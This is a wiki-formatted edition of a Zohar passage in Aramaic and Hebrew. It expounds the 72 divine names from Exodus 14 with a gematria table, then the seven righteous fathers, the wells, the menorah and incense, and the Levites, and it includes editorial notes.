הכא אתעטר אברהם בעטרוי ואעטר לה לכנסת ישראל. ואלין אתוון כלהו בארח מישר למיהך ביממא דכתיב {{צ|יומם יצוה יהוה חסדו ובלילה שירה עמי}} {{ממ|תהלים|מב|ט}}. ועל דא כתיב {{צ|ויסע}}. אימתי נטלין במטלנייהו? הוי אימא ביממא כד נהיר שמשא. {{ש}}
ודא חד קרא דאיהו בשבעין ותרין אתוון. 


תניינא דיצחק הכי נמי דאשתכח בע&quot;ב אתוון לאשתכחא בדינא לגבי מצראי, ולגבי ישראל ברחמי. ועל דא כתיב {{צ|ויבא בין מחנה מצרים ובין מחנה ישראל}} {{ממ|שמות|יד|כ}} - לקביל אלין ולקביל אלין. {{צ|ויהי הענן והחשך}} - דהכי הוא. יומא דיצחק דעיבא הוי. עננא וחשוכא מניה הוא. ובגין כך סדורא דאתוון למפרע  ולא בארח מישר, כגוונא דא:
[[קובץ:ויבא טבלה.PNG||300px|]]
: '''{{קטן|(כאן מצאתי כתוב פסוק ויבא למפרע כל אות ואות בבית אחד במרובע עם זה הלשון)}}'''

ועל דא אתוון כלהו למפרע דכתיב {{צ|ויהי הענן והחשך}}, דכיון דעאל יצחק בדינוי - {{צ|לא קרב זה אל זה}} כתיב. {{צ|זה אל זה}} - אינון דאתו מסטרא דאברתם - לא קריבו דא בדא! דהא לא יכלין! בגין דהאי באר אתדבקא ביצחק כמה דאת אמר {{צ|ויאר את הלילה}} - דכד אתמלייא לאתחברא  ביצחק לא קרב זה אל זה ולא יכיל לקרבא. 

עד דאתא יעקב ואתחבר באברהם, ונטל ליצחק ושארי ליה באמצעיתא. כדין אתקשר מהימנותא דא בדא ודא בדא ואשתזיבו ישראל. {{ש}}
ותנינן באתר דאבהתא אשתכחי - שאר צדיקייא משתכחי גבייהו. ועל דא שמא דא סליק לסטרין אחרנין מתפרשן, אע&quot;ג דכלהו נפקין לארחא חד. 

כד נהרא האי '''באר''' מסטרא דיצחק ואתקשר ביה - אתעביד ימא רבא תקיפא, וגלגלין תקיפין סליקין ונחתין בזעף ורוגזא בתקיפו. &lt;קטע סוף=דף קנ ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנא|א}}{{ש}}&lt;קטע התחלה=דף קנא א/&gt;נטיל לעילא. סליק ונחית לתתא. אברהם אתי  לקבליה. ומגו רוגזא וזעפא וחימתא ותקיפו - זה אל זה  לא הוו מתקרבין. עד דאתא יעקב ושכיך רוגזא ומאיך ותבר גלגלי ימא. הדא הוא דכתיב {{צ|ויט משה את ידו על הים ויולך יהוה את הים ברוח קדים עזה וגו'}} {{ממ|שמות|יד|כא}}. מאי {{צ|ברוח קדים עזה}}? דא רוח יעקב! {{צ|עזה}} - תקיף לקבליה לתברא רוגזא דהאי ימא. {{צ|וישם את הים לחרבה ויבקעו המים}} -  אריק ימא מימי רוגזין, ואתפליגו מיא לסטרא דאברהם ולסטרא דיעקב. הדא הוא דכתיב {{צ|ויבקעו המים}} - לסטרא דא ולסטרא דא. ועל דא אתוון כלהו בארח מישר כדקא יאות.

[[קובץ:ויט טבלה.PNG||300px|]]
: '''{{קטן|(כאן היה כתוב פסוק ויט כסדר כל אות ואות בבית אחד במרובע עם זה הלשון)}}'''

אלין אתוון בארח מישר בסטר דיעקב, וכל אינון דאתו מסטריה. וכד אתא יעקב אתחבר באברהם, ונטל ליצחק ושארי ליה באמצעיתא - כדין אתקשר מהימנותא; דא בדא ודא בדא. ועל דא עובדא כתקונא דשמא קדישא בזווגא דאבהן אשתמודע דאיהו קשורא חד, קשורא מהימנא, למהוי רתיכא שלימתא. ובזווגא דאבהן כחדא אתעביד כלא. 

וידעין חברייא למיהך בארח מישר לאתקנא עובדין כדקא יאות. ובשמא דא קשורא דאבהן אשתכחן אורחין לדינא ולרחמי. לסיוע. לחסד. לדחילו. לאורייתא. לחיי. למותא. לטב. לביש. זכאין אינון צדיקייא דידעין אורחוי דאורייתא וידעין למיהך באורחוי דמלכא קדישא! זכאין אינון בעלמא דין ובעלמא דאתי!

[[קובץ:עב שמות טבלה.PNG||400px|]]

{| class=&quot;wikitable&quot;
|+ טבלת ויקיטקסט ממוספרת עם חישוב גימטריא
|-
| 1. {{גמט|והו}} || 2. {{גמט|ילי}} || 3. {{גמט|סיט}} || 4. {{גמט|עלם}} || 5. {{גמט|מהש}} || 6.  {{גמט|ללה}} || 7. {{גמט|אכא}} || 8. {{גמט|כהת}}
|-
| 9. {{גמט|הזי}} || 10. {{גמט|אלד}} || 11. {{גמט|לאו}} || 12. {{גמט|ההע}} || 13. {{גמט|יזל}} || 14.  {{גמט|מבה}} || 15. {{גמט|הרי}} || 16. {{גמט|הקם}}
|-
| 17.  {{גמט|לאו}} || 18. {{גמט|כלי}} || 19. {{גמט|לוו}} || 20. {{גמט|פהל}} || 21. {{גמט|נלך}} || 22. {{גמט|ייי}} || 23. {{גמט|מלה}} || 24. {{גמט|חהו}}
|-
| 25. {{גמט|נתה}} || 26. {{גמט|האא}} || 27. {{גמט|ירת}} || 28. {{גמט|שאה}} || 29. {{גמט|ריי}} || 30. {{גמט|אום}} || 31. {{גמט|לכב}} || 32. {{גמט|ושר}}
|-
| 33. {{גמט|יחו}} || 34. {{גמט|להח}} || 35. {{גמט|כוק}} || 36. {{גמט|מנד}} || 37. {{גמט|אני}} || 38. {{גמט|חעם}} || 39. {{גמט|רהע}} || 40. {{גמט|ייז}}
|-
| 41. {{גמט|ההה}} || 42. {{גמט|מיכ}} || 43. {{גמט|וול}} || 44. {{גמט|ילה}} || 45. {{גמט|סאל}} || 46. {{גמט|ערי}} || 47. {{גמט|עשל}} || 48. {{גמט|מיה}}
|-
| 49. {{גמט|והו}} || 50. {{גמט|דני}} || 51. {{גמט|החש}} ||  52. {{גמט|עמם}} || 53. {{גמט|ננא}} || 54. {{גמט|נית}} || 55. {{גמט|מבה}} || 56. {{גמט|פוי}}
|-
|  57. {{גמט|נמם}} || 58. {{גמט|ייל}} || 59.  {{גמט|הרח}} || 60. {{גמט|מצר}} || 61. {{גמט|ומב}} || 62.  {{גמט|יהה}} || 63. {{גמט|ענו}} || 64. {{גמט|מחי}}
|-
| 65. {{גמט|דמב}} || 66. {{גמט|מנק}} || 67. {{גמט|איע}} || 68. {{גמט|חבו}} || 69. {{גמט|ראה}} || 70. {{גמט|יבמ}} || 71. {{גמט|היי}} || 72. {{גמט|מום}}
|}

: {{קטן|(וכאן מצאתי הע&quot;ב שמות היוצאים מג' פסוקים אלו במרובע. כל שם ושם מג' אותיות בבית אחד. י&quot;שר ה&quot;פוך י&quot;שר - וסימניך '''יהי''' אור. ולא הדפסתי אותו מפני יקר תפארת קדושתו)}}


הא אבהן במטלנין בעובדין בקשורין דמתקשרי דא בדא. וכד מתחברן כחדא - לית מאן דיקום קמייהו! {{ש}}
ותנינן באתר דאבהתא אשתכחו - שאר צדיקייא משתכחי גבייהו. ועל דא שמא דא סליק לסטרין אחרנין מתפרשן, אע&quot;ג דכלהו נפקין לארחא חד.


{{קטן|'''[כאן שייך גרסינן שבעה וכו' שבסוף הספר סימן ח']''' }}{{הערה|העתקתי את הטקסט של סימן ח' לכאן במהדורה זו - ויקיעורך}}

{{גדול|'''['''}} שבעה יומין עלאין ברא קב&quot;ה בעלמא ועלייהו שתיל ובני עלמין. הדא הוא דכתיב {{צ|כי ששת ימים עשה יהוה}} {{ממ|שמות|לא|יז}} {{ממ|שמות|כ|י}} - ולא כתיב &quot;בששת&quot;. {{ש}}
ולקבל אינון שבעה יומין עלאין ברא קב&quot;ה בארעא שבעה זכאי קשוט לקיימא לון ולאנהרא לון - כל חד וחד לקבל יומיה. ושתיל להו כל חד וחד בדרא דאתחזי. ואינון אבהן דעלמא! אברהם יצחק יעקב יוסף משה אהרן דוד. ואינון אקרון {{צ|הרים}} - {{צ|הררי קדם}}, דאינון תליין מאינון שבעה יומין עלאין דאמרן. שיתא יומי בראשית ושביעאה דקיימא ואזיל קמייהו. הדא הוא דכתיב {{צ|ובית דויד כאלהים}} {{ממ|זכריה|יב|ח}}. 

ואף על גב דאיהו שביעאה - רביעאה איהו ביומין! ויוסף איהו שביעאה אבל כד אתכליל ביה ביוסף ויהיב ליה תפנוקא מבי מלכא - אקרי אוף איהי 'שביעאה'. וכולהו אחידו בה בשכינתא ברזא דשבעה. בגין דשכינתא אתקריאת {{צ|בת שבע}} - בת מאימא עילאה דאיהי כללא דשבע דרגין דעִמַה. ואיהי דרגא ד{{צ|צדק}}. עשיראה דאינון ספירן דאיקרי בהון קודשא בריך הוא. 


ואקרי שביעאה בקרא דכתיב {{צ|לך יהוה הגדולה והגבורה והתפארת והנצח וההוד כי כל בשמים לך יהוה הממלכה}} {{ממ|דה&quot;א|כט|יא}}

ומאי טעמא? והא רביעאה היא ליומי!? {{ש}}
אלא בגין דאיהי נטיעה בתראה דאתכלילת בשביעאה - בגין כך נטלה שמיה. וכלא חד! 

וכל חד וחד מאבהן ידע ליה לקב&quot;ה מגו דרגא דיליה ואחיד ביה בההוא דרגא. 
* אברהם ידע ליה לקב&quot;ה מגו חסד דאיהי מדת הגדולה, מדת החסד, ימינא דמלכא. ועל דא אחיד בה ולא שביק לה לעלמין, ועביד טיבו עם כל בני נשא ואוקמוה, דהא עובדוי סליקו ליה  להאי דרגא.
* יצחק ידע ליה בדרגא דגבורה דאקרי {{צ|פחד יצחק}} ודחיל ליה לעלמין. 
* יעקב ידע ליה מגו דרגא דתפארת דאיהו כליל מחסד ופחד, ואקרי {{צ|אמת}} ואחיד בה. הדא הוא דכתיב {{צ|תתן אמת ליעקב}} {{ממ|מיכה|ז|כ}}. 
* יוסף ידע ליה לקב&quot;ה מגו ההיא אספקלריא דאקרי {{צ|כל}} ואקרי {{צ|יסוד}} ואקרי {{צ|צדיק}}. ועל דא אקרי יוסף {{צ|כלכל}}{{הערה|וראו {{ממ|דה&quot;א|ב|ו}} - ויקיעורך}} דכתיב {{צ|ויכלכל יוסף}} {{ממ|בראשית|מז|יב}}, וכתיב {{צ|וצדיק יסוד עולם}} {{ממ|משלי|י|כה}}.
* משה ואהרן אינון תרין כרובים דאשתמע קלא דלעילא מבינייהו. ועל דא אתיהיבת אורייתא על ידייהו. הדא הוא דכתיב {{צ|ונועדתי לך שם ודברתי אתך}} {{ממ|שמות|כה|כב}}. ואינון תרין כרובין לעילא, ואינון {{צ|נצח והוד}}, ואינון תרין סמכי דגופא. כגוונא דא אית לה למטרוניתא לתתא תרין כרובין תחותה דינקין מינה. ואינון עלאין ודאי  {{צ|על ארון העדות}} דאקרי {{צ|צדק}}. 'ארונא דסהדותא' - מאן {{צ|עדות}}? דא יוסף. הדא הוא דכתיב {{צ|עדות ביהוסף שמו}}, ואקרי {{צ|תורה שבכתב}}. והאי ארונא תורה שבעל פה. 

תא חזי כל אינון אבהן עלאין דאחידן לעילא רמיזין כלהו בתורה שבכתב, {{צ|תורת יהוה}}.  ודוד דאיהו אחיד בברייתא דאיהי תורה שבעל פה - רמיזא בדברי קבלה. ובגין כך אקרי {{צ|קבלה}} -  דמקבלת נהירו מתורה שבכתב דאיקרי {{צ|צדיק}} ואיקרי {{צ|יוסף}} ואיקרי {{צ|כל}}.


ואינון תרין כרובין עלאין קיימין על ההוא סהדותא דארונא. הדא הוא דכתיב {{צ|והנצח וההוד כי כל בשמים ובארץ}} {{ממ|דה&quot;א|כט|יא}}. ודא איהו סיומא דשמים ומזווג להאי ארץ. 

והכי הוא דכל מה שברא קודשא בריך הוא ברא לקבליה לתתא. ויוסף אקרי {{צ|עדות}} - הדא הוא דכתיב {{צ|עדות ביהוסף שמו}}. ועל דא שמא דיוסף שלים בכלא - לעילא ותתא. ועל דא תנינן ארון דיוסף וארון דשכינתא בהדי הדדי הוו אזלין במדברא. והוו כולי עלמא אמרי &quot;''מה טיבן של שני ארונות הללו?''&quot;. ומתיבין לון &quot;''קיים זה מה שכתוב בזה''&quot; - {{צ|'''קיים'''}} ודאי! הדא הוא דכתיב {{צ|וצדיק יסוד עולם}} - איהו '''קיומא''' דעלמא. 

אתא דוד דאיהו שביעאה דאבהן - אחיד בה בהאי {{צ|בת שבע}} דאיהי {{צ|ממלכה}} ולא שביק לה לעלמין. הדא הוא דכתיב {{צ|ודוד עבדי נשיא להם לעולם}} {{ממ|יחזקאל|לז|כה}}, וכתיב {{צ|כסאו כשמש נגדי}} {{ממ|תהלים|פט|לז}}. 

וכל דא אוליף לן אורייתא. דכולהו אחידן בה בשכינתא ברזא דשבע. 

תא חזי אברהם בוצינא קדמאה קדישא דעלמא כד בעא לסלקא לדרגיה{{הערה|נוסח אחר: &quot;לאתקרבא בשכינתא&quot;}} לא יכיל עד דסליק ואשתמודע באינון תלת דרגין עלאין דעליה דההוא חולקא דיליה. כיון דסליק ואשתמודע ליה לקב&quot;ה מגו אינון תלת דרגין דעם אינון שבעה דאינון '''כתר עליון חכמה בינה''', ואינון שלימו דעשר ספירן דאיקרי בהו קודשא בריך הוא. וכיון דסליק באינון תלתא דאינון עתיקא ואבא ואמא דנגיד מנהון נהירו לתתא - כדין אחיד לחולקיה ההוא דרגא דתחותייהו דאינון תלתא דאקרי '''חסד''' 

וכולהו אדביק לון מגו ההוא אספקלריא דשלטא בליליא. דבהו ודאי לא הוה בר נש דידע כלום. ועל דא תנינן {{צ|בן שלש שנים הכיר אברהם את בוראו}} - {{צ|בן שלש}} דייקא!

ותא חזי רזא דהני שלש שנים ולא פחות - בגין דשכינתא אתקריאת {{צ|בת שבע}}, ולא יכיל לאתקרבא בהדה עד דסליק באינון תלת דרגין עילאין דעם אינון שבע לאשתמודעא מגוון ולאתנהרא בכל מה דאיהו לתתא. ותלת ושבע  - הא עשר דרגין עלאין, רזא דשמא דקודשא בריך הוא. וכיון דהוה מתנהיר באינון תלתא - בעא לסלקא באינון שבע. ברזא דכתיב {{צ|ויצב אברהם את שבע כבשות}} {{ממ|בראשית|כא|כח}}. 

ורזא דא רמז לאבימלך דלא ישלטון עליהון בנוי{{הערה|נוסח אחר: &quot;יתפרעון מנהון&quot;}} עד דישתלמו אינון שבעה זכאי קשוט בישראל לקבל אינון שבע דרגין דלעילא. כיון דאשתלימו - יתיב עלמא תתאה כגוונא דעלמא עלאה בקיומא שלים, וייתי דוד דאיהו שבעאה ויתער לההיא בת שבע דלעילא דאיהי נקמא נוקמיהון דישראל ויתפרע מנהון. {{ש}}
הדא הוא דכתיב {{צ|ויהי אחרי כן ויך דוד את פלשתים ויכניעם ויקח דוד את מתג האמה מיד פלשתים}} {{ממ|ש&quot;ב|ח|א}}. מאי {{צ|ויהי אחרי כן}}? בתר דאשתלימו ישראל והוו כגוונא דלעילא - כדין {{צ|ויך דוד את פלשתים וגו'}} - דהא עד השתא לא יכילו ישראל למתבר תוקפיהון. והא אתערו חבריא בההוא מתג האמה. ואוקמוה. 

ותא חזי האי דרמיז ליה אברהם בכבשות הצאן ולא בעזים ולא במידי אחרינא - בגין דאינון מסטרא דחסד, מאינון ממנן דינקין מסטרא דחסד, וינקין לתתא אינון כבשים תחות שלטניהון. ואברהם אחיד לחולקיה מדת החסד. וכלא ברזא דחכמתא. {{ש}}
ועל דא תנינן מאן דשרי גו ענא - לא מסתכן לעלמין! ואי איהו שארי גו עזיא ורעי לון - כמה גרדיני נימוסין יתבין לקבליה לאסטאה! בגין דאינון מסטרא דדינא קשיא. 

אבל כד אתא יצחק למגזר עמיה קְיָים - גזר עמיה ב{{צ|שבעה}} - בשכינתא דאתגליא מגו ההוא בירא דכתיב {{צ|ויקרא אותה שבעה}} {{ממ|בראשית|כו|לג}}. 

תא חזי אברהם קרא לההיא בירא דמיין נבעין {{צ|באר שבע}}. יצחק קרא ליה {{צ|שבעה}}. מה בין האי להאי?{{ש}}
אלא בגין דיצחק אחיד לחולקיה דרגא ד{{צ|פחד}} דאיהו דינא! ועל דא אוסיף בה '''ה''''. ו'''ה'''' בכל אתר היא מדת הדין. הדא הוא דכתיב {{צ|ויקרא אותה '''שבעה'''}} - דלא עבד בחורפן כמה דעבד אבוה. וכלא ברזא דחכמתא. ואוסיף בה '''ה'''' לאחזאה דאיהי חולקיה.

תא חזי כד ברא קודשא בריך הוא עלמא - ברא ליה בדינא. כיון דחזא דלא מתקיים - שיתף ביה חסד. הדא הוא דכתיב {{צ|בהבראם ביום עשות יהוה אלהים}} {{ממ|בראשית|ב|ד}}. ואוקמוה {{צ|באברהם}} אתקיים עלמא. בגיני כך האי בירא ביתא דעלמא על שמיה אתקרי. הדא הוא דכתיב {{צ|על כן קרא שם העיר באר שבע}} {{ממ|בראשית|כא|לא}}. אף על גב דהאי בירא אתדבק ביצחק דכתיב {{צ|ויקרא אותה שבעה}} - שמיה {{צ|באר שבע}} סטרא דאברהם! ולא &quot;באר שבעה&quot;!  הדא הוא דכתיב {{צ|וימינו תחבקני}} {{ממ|שיר|ב|ו}}. 


ותא חזי ארבעה מאינון שבעה זכאי קשוט כד בעו לאתקרבא בשכינתא ברזא ד{{צ|שבע}} - כולהו ערעו בהאי באר דלא פסקו מימוי לעלמין. {{ש}}
אברהם כרי ליה להאי בירא בגין דאיהו אוליף לכל בני עלמא דיפלחון לקודשא בריך הוא. וכיון דכרי ליה - אפיק מיין נבעין דלא פסקין לעלמין. וכיון דמית אברהם  מה כתיב? {{צ|וְכׇל הַבְּאֵרֹת אֲשֶׁר חָפְרוּ עַבְדֵי אָבִיו בִּימֵי אַבְרָהָם אָבִיו}} {{ממ|בראשית|כו|טו}} - '''{{צ|בארת}}''' כתיב. וחד הוה דכתיב {{צ|באר שבע}}. וקרינן {{צ|בארות}} - משמע דסגיאין הוו! בגין דהאי בירא אתחזי לון לאבהן בכל דוכתא דהוו אזלין - הוה מתחזי לון כבירין סגיאין.

כיון דמליוהא פלשתים עפרא - רזא דאהדרו בני עלמא לעבודה זרה, והוה עלמא שמם דלית דידע ליה לקודשא בריך הוא. כיון דאתא יצחק מה כתיב? {{צ|וַיָּשׇׁב יצחק ויחפור את בְּאֵרֹת המים אשר חפרו בימי אברהם אביו}} {{ממ|בראשית|כו|יח}}. מאי {{צ|וישב}}? אלא דאתיב עלמא לתיקוניה ואוליף לון לבני עלמא דידעין ליה לקודשא בריך הוא. הדא הוא דכתיב {{צ|ויהי אחרי מות אברהם ויברך אלהים את יצחק בנו}} {{ממ|בראשית|כה|יא}}. 

האי בירא ממאן הוה? ממיין דכל חיין דעלאין ותתאין וקיומיהון תליין ביה!  וחזי כלא! הדא הוא דכתיב {{צ|ידע מה בחשוכא ונהורא עמיה שרא}} {{ממ|דניאל|ב|כב}}. 

ותא חזי אינון {{צ|עבדי יצחק}} בגין דאינון מסטרא דדינא קשיא - כד חפרו ליה מה כתיב ביה? {{צ|שטנה}}. והא אוקמוה. עד דאתא איהו ויחפור באר אחרת {{ממ|בראשית|כו|כב}} {{צ|ויקרא שמה רחובות}} ודאי .  אבל עבדי אביו - בגין דכלהו מסטרא דימינא אתיין - ולא הוה שטנה בעלמא ולא נפיק דינא מהאי בירא לאשטנא לון כד לא כשרין עובדיהון. 

ומהאי בירא איהו פתחא למידע ליה לקודשא בריך הוא! הדא הוא דכתיב {{צ|פתחי לי שערי צדק אבא בם אודה יה}} {{ממ|תהלים|קיח|יט}}.

ועד דלא סליק יצחק מעלמא - בריך ליה ליעקב ושלחיה לחרן לאזדווגא. וכד אזיל לחרן מה כתיב? {{צ|וירא והנה באר בשדה}} {{ממ|בראשית|כט|א}}. כיון דחזא יעקב יקרא דקודשא בריך הוא מגו ההוא בירא דאיקרי {{צ|באר שבע}} - כדין אמר ללבן {{צ|אעבדך שבע שנים ברחל בתך הקטנה}} - {{צ|הקטנה}} דייקא!


תא חזי לקבל אינון שבעה זכאין פקיד קודשא בריך באורייתיה לקרבא קרבן מוסף בשבעה זמנין בשתא, בגין לאוספא להו תפנוקין ועדונין מבי מלכא. אבהן ישבעון בקדמיתא ובתר כן בנין. והם שבעה זמנין ולא יתיר.  
* '''בשבתא''' - לקבל צדיק יסוד עולם דאיקרי '''{{צ|כל}}''' ואיקרי '''{{צ|שבת}}'''{{הערה|נוסח אחר: &quot;מוסף שבת&quot;}} - לאוספא ליה עדונין ממוחא סתימא.
* '''ובריש ירחא''' - לקבל כנסת ישראל דאתקריאת {{צ|סיהרא}}, והוא דוד.
* '''ומחמיסר יומא לירחא קדמאה''' - לקבל אברהם אבוהון דאחיד במדת החסד ואקרי {{צ|ראשון}}.
* '''בירחא תליתאה בעצרת''' דאתיהיבת ביה אורייתא בשבעה קולות - לקבל יעקב דאיהו תליתאי לאבהן ואחיד ב{{צ|קול}} - {{צ|קול יעקב}}.
* '''ובריש שתא''' - לקבל יצחק דאתיליד ביה, ואנן מדכרינן ביה עקידת יצחק, ואיהו יומא דדינא לקבל מדת הדין דאחיד בה.
* '''וביום הכפורים''' - לקבל משה דקביל ביה קודשא בריך הוא צלותיה וחס על ישראל ואהדר ליה אורייתא. 
* '''בחג הסוכות''' - לקבל אהרן דבזכותיה אזלין אינון שבעה עננים דחפאן על ישראל כסוכות, ובגין כך אינון עבדין סוכה.

וכל אורייתא אית בה כמה רזין עלאין סתימין בה! וכד אלין שבעה מתוספין בברכאן - כל עלמא בשלימו סגיאה!{{ררר}}  {{גדול|''']'''}}


שבעה קשורין אינון דמתקשרי בהו  תלת אבהן וארבע אחרנין. 
* רישא ואמצעיתא בקשורא חדא, ואלין אינון דחפרו בירא דמיא. 
* תניינא - {{צ|זה אל זה}}, ואינון קשורא חדא בתלת יודין. 
* תליתאה - שלימו דכל מהימנותא. 
* רביעאה - תרין קיימין דגופא קיימא עלייהו. 
* חמישאה - טב וביש. נהרא דנפיק אילנא דחיי ומותא עמיקתא דכלא. 
* שתיתאה - דינא ברחמי. 
* שביעאה - בקדמיתא אתמר בההוא רישא דאמרן. 

בגין דאיהו אמצעיתא דכלא. ובגין דאיהו אמצעיתא דכלא אקרי ''{{צ|אני}}''' - קיומא דכל ענפין דמתאחדן מסחרניה. 


שבעה דרגין אלין - מדרגא חדא לדרגא  אחרא אשתמודעא רתיכא חדא בכל אינון דמתאחדאן ביה. וכן מדרגא לדרגא. וכלהו אתנהגן אבתריה דההוא דרגא דאתפקדא עלייהו. והא אוקימנא מלי. 

תא חזי בשעתא דאלין דרגין משתכחי - כל מהימנותא אשתכח! ואלין שבעה עננין דאסחרו להו לישראל. בגין כך כד נטלא שכינתא - באבהתא נטלא. וכד אלין נטלין - כלהו דרגין אחרנין נטלין בהו. וכדין אתעטרת כנסת ישראל כדקא יאות. 

תא חזי זבולן דקאמרן ירית {{צ|ים כנרת}} - ים כנרת סתם. והכי אתחזי. אי הכי יהודה מה חולקא אית ביה? אלא יהודה נטל מלכותא כלא ואתאחיד ביה בכל סטרין. 


רבי אלעזר אמר: האי פרשתא - הא אתמר עובדא דמנרתא ותקונהא וכל מה דבה! אמאי הכא זמנא אחרא? {{ש}}
אלא כיון דנשיאים קריבו  קורבנא דמדבחא וכל תקונא דאתחזי ליה - אתא קרא ואשתעי עובדא דמנרתא דהיא תקונא על ידא דאהרן. דהא לעילא מנרתא וכל בוצינין  דילה - על ידא דאהרן נהרין כלא. 

תא חזי מדבחא תריסר נשיאין הוו לחנכא ליה ולאתקנא ליה, והא אוקמוה, תריסר אינון שבטין לארבע סטרין ארבע דגלים. וכלהו  כגוונא דלעילא! &lt;קטע סוף=דף קנא א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנא|ב}}{{ש}}
&lt;קטע התחלה=דף קנא ב/&gt;מנרתא אתמני בשבעה בוצינין לאדלקא על ידא דכהנא - וכלא כגוונא דלעילא. ומנרתא על את קיימא, ובניסא אתעבידת, והא אוקמוה בעובדא דמנרתא. 

ומדבח פנימאה ומנרתא קיימי כחדא לחדוותא דכלא דכתיב {{צ|שמן וקטרת ישמח לב}} {{ממ|משלי|כז|ט}}.  ואוקימנא דתרי מדבחן הוו; חד פנימאה דכלא והאי קיימא לחדוותא, וחד לבר לקרבאה קרבנין. ומהאי פנימאה נפיק להאי דלבר. ומאן דחמי ויסתכל - ינדע חכמתא עלאה. רזא דמלה '''אֲדֹנָי יֱהֹוִה'''. ועל דא לא אתקרב קטרתא אלא בשעתא דשמן אשתכח. 

אשכחנא בספרא דשלמה מלכא - קטרת הוא לחדוה ולסלקא מותנא. מאי טעמא? בגין דדינא מהאי דלבר אשתכח. וחדוותא וחדו וקשורא דנהירו מההוא פנימאה דכל חידו ביה קיימא. וכד האי אתער - כל דינא אסתלק מהאי, ולא יכיל למעבד דינא. ובגין כך קטרת קיימא לבטלא מותנא. ועל דא קטרת קשירו הוא דכלא ודא אתקריב בההוא פנימאה. 

זכאין אינון ישראל בעלמא דין ובעלמא דאתי עלייהו כתיב {{צ|ויאמר לי עבדי אתה ישראל וגו'}} {{ממ|ישעיה|מט|ג}}!


'''{{צ|קח את הלוים מתוך בני ישראל וטהרת אתם}} {{ממ|במדבר|ח|ו}}''' הא אוקמוה דבעי לדכאה  לון ולאמשכא לון לאתקשרא באתרייהו. בגין דאינון דרועא שמאלא וסטרא דדינא, וכל מאן דאתי מסטרא דדינא בעי דלא ירבי שערא בגין דאסגי דינא בעלמא. ועל דא אתתא כהאי גוונא - דלא יתחזי שערא לבר, ובעייא לאתחפייא רישה ולכסי שערהא. ואוקימנא והא אתמר. וכדין אתברכן כל אינון דאתיין מסטרא דדינא. {{ש}}
ועל דא בליואי כתיב '''{{צ|וכה תעשה להם לטהרם וגו' והעבירו תער וגו'}} {{ממ|במדבר|ח|ז}}'''. 

ואתמר, ליואי לא סלקין לאתרייהו עד דירים לון כהנא, בגין דימינא מדבר תדיר לשמאלא. 

ר' שמעון אמר: ביומא דסלקין ליואי בדוכתייהו - בתרין פרים. מאי טעמא פרים? אלא אינהו כפרים לקבלא בשמאלא להאי פרה דאקרי {{צ|פרה אדומה}}. {{ש}}
כהנא - כל חילא וכל תקונא ביה תלייא! בגין דכל חילא דגופא - בדרועא ימינא קיימא. ועל דא כהנא דרועא ימינא דישראל כלהו הוי, וביה קיימא לאתקנא כלא ולאתקנא עלמא. ועם כל דא לא אשתכח בלחודוי אלא בגופא ושמאלא. וגופא עקרא הוא דכלא.


{{קטן|'''[כאן שייך מאמר {{צ|והניף}} שבסוף הספר סימן ט']'''{{הערה|העתקתי את הטקסט של סימן ט' לכאן במהדורה זו - ויקיעורך}}}}

{{גדול|'''['''}} '''{{צ|והניף אהרן את הלוים תנופה לפני יהוה}} {{ממ|במדבר|ח|יא}}''' 

רבי יהודה שאיל לרבי אבא: &quot;''למה היה הכהן מניף את הלוים?''&quot;{{ש}}
אמר לו: &quot;''משל למה הדבר דומה - לתינוק כשהוא בוכה וכועס. מה עושין כדי לפייסו?''&quot;{{ש}}
אמר לו רבי יהודה: &quot;''מניפין אותו ומנענעים אות כדי לשתקו.''&quot;

אמר לו רבי אבא: יהודה יהודה! מלה זאת באה לידך ולא חקרת בה! והלא ישמעו אזניך מה שפיך מדבר! כך היא מדת הגבורה - כועסת ורוגזת דכתיב {{צ|שמעון ולוי אחים כלי חמס מכרותיהם}} {{ממ|בראשית|מט|ה}}, וכתיב {{צ|ארור אפם כי עז ועברתם כי קשתה}} {{ממ|בראשית|מט|ז}} לפי שהם מתגברים ומתקשים באפם ועברתם לצאת לעשות דין לכלות ולהכרית בני העולם. אזי הכהן שהוא החסד העליון מניף אותו הצד של הלוים שהיא מדת הגבורה כדי לשכך ולשקט רוגזה וכעסה כדי שישתברו השערות מכל שוליהון ולא יתגברו ולא יתחזקו. כעין דוגמא זו הכהן שמניף את הלוים תנופה כדי שישקוט הצד של הגבורה שלהן כדי שלא יתעורר הדין בעולם.{{הערה|סגנון המילים של הקטע לא נראים כטקסט של הזוהר במלואם לענ&quot;ד. נראים כסוג של פירוש ובלשון עברית. ואני העתקתי כמו שמופיע בנספח של דפוס ווילנא. וצע&quot;ע - ויקיעורך}} 

בא רבי יהודה ונשק את ידיו.  

וכשיתעוררו הדינין בעולם כל הדינים הנמצאים בכל יום ויום אברהם אבינו עליו השלום הוא דוחה אותה לחוץ ואינם עומדים לפניו. הדא הוא דכתיב {{צ|ואל זועם בכל יום}} {{ממ|תהלים|ז|}} {{גדול|''']'''}}


'''{{צ|זאת אשר ללוים מבן חמש ועשרים שנה ומעלה יבוא לצבא צבא בעבדת אהל מועד}} {{ממ|במדבר|ח|כד}}''' {{ש}}
תא חזי ליואה בר חמש ועשרין שנין יפלח. בר חמשין שנין - סליק לדוכתיה ואתעטר. וחמש ועשרין יפלח. דהא בר נש  כד סליק להאי דרגא דחמשין שנין ולהלאה - נחית מן תוקפא דאשא דביה. וכיון דאשא וחמימותא אתקרר - הא פגים לההוא אתר דאתקשר ביה. {{ש}}
ועוד - דקלא דזמרא לא אתקשר בהדיה כל כך. וקלא בעי דלא יתפגם אלא בעי לאתקפא! דהא באתר דדינא תקיף קיימא ולא בחלשא. ובגין כך לא בעי לאחזאה חולשתא כלל בכל סטרין. 

זכאה הוא בר נש דאשתדל באורייתא וינדע אורחוי דקב&quot;ה ולא סטי לימינא ולשמאלא דכתיב {{צ|כי ישרים דרכי יהוה}} {{ממ|הושע|יד|י}}:


'''{{צ|וידבר יהוה אל משה במדבר סיני בשנה השנית לצאתם מארץ מצרים בחדש הראשון לאמר}} {{ממ|במדבר|ט|א}}'''. {{ש}}
אמר ר' אבא: מאי טעמא אזהר להון הכא על פסחא, והא אתמר להו במצרים!? {{ש}}
אלא {{צ|בשנה השנית}} הוה - דישראל חשיבו דהא פסח לאו איהו אלא במצרים, וכיון דעבדו ליה זמנא חדא במצרים חשיבו דלא אצטריך יתיר. אתא קב&quot;ה ואזהר לון עליה דלא יחשבון דהא קא עבר זמניה במצרים ולא יצטריך. &lt;קטע סוף=דף קנא ב/&gt;{{ש}}
